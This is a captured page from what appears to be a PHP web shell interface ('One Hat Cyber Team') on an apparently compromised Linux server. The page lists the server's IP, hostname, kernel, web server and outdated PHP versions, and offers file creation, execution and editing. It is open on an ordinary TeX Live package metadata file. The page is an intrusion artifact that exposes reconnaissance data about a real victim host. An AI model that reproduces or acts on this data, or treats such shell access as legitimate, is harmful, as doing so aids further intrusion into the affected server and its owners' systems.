One Hat Cyber Team
Your IP :
216.73.216.14
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
texlive
/
tlpkg
/
tlpobj
/
Edit File:
synproof.tlpobj
name synproof category Package revision 15878 shortdesc Easy drawing of syntactic proofs longdesc The package provides a set of macros based on PSTricks that longdesc will enable you to draw syntactic proofs easily (inspired by longdesc the Gamut books). Very few commands are needed, however fine longdesc tuning of the various parameters (dimensions) can still be longdesc achieved through "key=value" pairs. containersize 2200 containerchecksum 934235e8eb4ca51a906ca287c5524cc3b0b69c649b47a9fa0fc2c9fd664199eb6fce835d435e97e0b24bd0662ee68b8db471e3546c4bdb402bfcc19b1fd02c50 doccontainersize 61492 doccontainerchecksum 9a12fab29c7c0118bd97a7af1585ae97c5086e7a1e9529624b7fa43a723151e00537b9488a42628d7f6e93b87d092fe0dd18476c7d232e3ee74597186a92585b runfiles size=2 texmf-dist/tex/latex/synproof/synproof.sty catalogue-ctan /macros/latex/contrib/synproof catalogue-license lppl catalogue-topics logic linguistic catalogue-version 1.0
Simpan